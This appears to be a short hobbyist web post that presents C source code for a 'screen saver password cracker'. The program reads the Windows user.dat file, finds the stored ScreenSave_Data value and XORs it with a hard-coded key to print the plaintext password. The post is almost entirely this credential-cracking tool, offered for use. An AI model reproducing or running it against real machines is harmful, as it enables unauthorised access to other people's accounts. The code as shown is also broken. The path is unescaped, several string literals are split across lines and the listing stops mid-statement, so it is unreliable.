PASSWORD CRACKER

SCREEN SAVER PASSWORD CRACKER

THIS IS THE CODE OF A C/C++ PROGRAM WHICH CAN BE COMPILED BY USING DEV C++ AND CODE BLOKS OR TURBO C++. IT IS CREATED BY ONE OF MY FRIEND.


 /*
 Screen Saveer Password Cracker:
 Decrypts Screen Saver Password which is stored in user.dat.
 */
 #include<ctype.h>
 #include<stdio.h>
 #include<string.h>
 FILE *fp;
 char *path="c:\windows\user.dat";
 /*encrypted password stored in this file when u log on to default user..
 If there r multiple users..Password stored in
 \windowsprofilesuser-nameuser.dat...
 */
 unsigned long int search(char *s);
 char *encstr(unsigned long int loc);
 int toint(char a);
 void main()
 {
 unsigned long int l;
 char s[51];
 int arr[]={4,8,14,14,7,6,1,13,6,7,6,9,10,1,1,11,7,10,8,12,4,7,
    15,8,5,4,9,5,9,7,5,15,7,8,13,9,13,10,6,12,5,9,13,7,6,11,3,5,12,5};
 //this array is 2 b xored with encrypted-string
 int s1[51],s2[51];
 int i,len,k;
 clrscr();
 l=search("ScreenSave_Data");
 strcpy(s,encstr(l));
 len=strlen(s);
 for(i=0;i<len;i++)
 {
 s1[i]=toint(s[i]);
 s2[i]=(s1[i])^(arr[i]);
 }
 printf("Current Screen Saver Password:
 ");
 for(i=0;i<len;i+=2)
 printf("%c", (s2[i]*16)+(s2[i+1]) );

 }
 /* Searches where ScreenSave_Data is there in the file
  and returns the location*/
 unsigned long int search(char *s)
 {
  int k=0,len,ch;
  unsigned long int i=0;
  fp=fopen(path,"rb");
  len=strlen(s);
  while( (ch=getc(fp))!=EOF)
  {
       if(ch==s[k])
       k++;
       else k=0;
     i++;
     if(k==len)
  return i;
  }
 }
 /* It returns Encrypted String*/
 char *encstr(unsigned long int loc)
 {
 char ch,s[55],ch1;
 int i=0;
 ch=toascii(0);
 fp=fopen(path,"rb");
 fseek(fp,loc,SEEK_SET);
 while( (ch1=fgetc(fp))!=ch)
 {  s[i]=ch1;
 i++;
 }
 s[i]='